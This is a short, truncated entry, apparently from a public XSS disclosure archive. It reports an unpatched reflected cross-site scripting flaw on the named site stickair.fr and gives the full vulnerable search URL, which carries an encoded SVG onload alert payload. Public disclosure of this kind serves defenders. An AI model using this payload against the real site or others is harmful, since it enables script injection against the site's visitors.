stickair.fr XSS vulnerability

Vulnerable URL: http://www.stickair.fr/resultatrecherche.asp?champrecherche=%22%3E%3Csvg%2Fonload%3Dalert%28%2Fxssposed%2F%29%3E=%22%3E%3Csvg%2Fonload%3Dalert%28%2Fxssposed%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...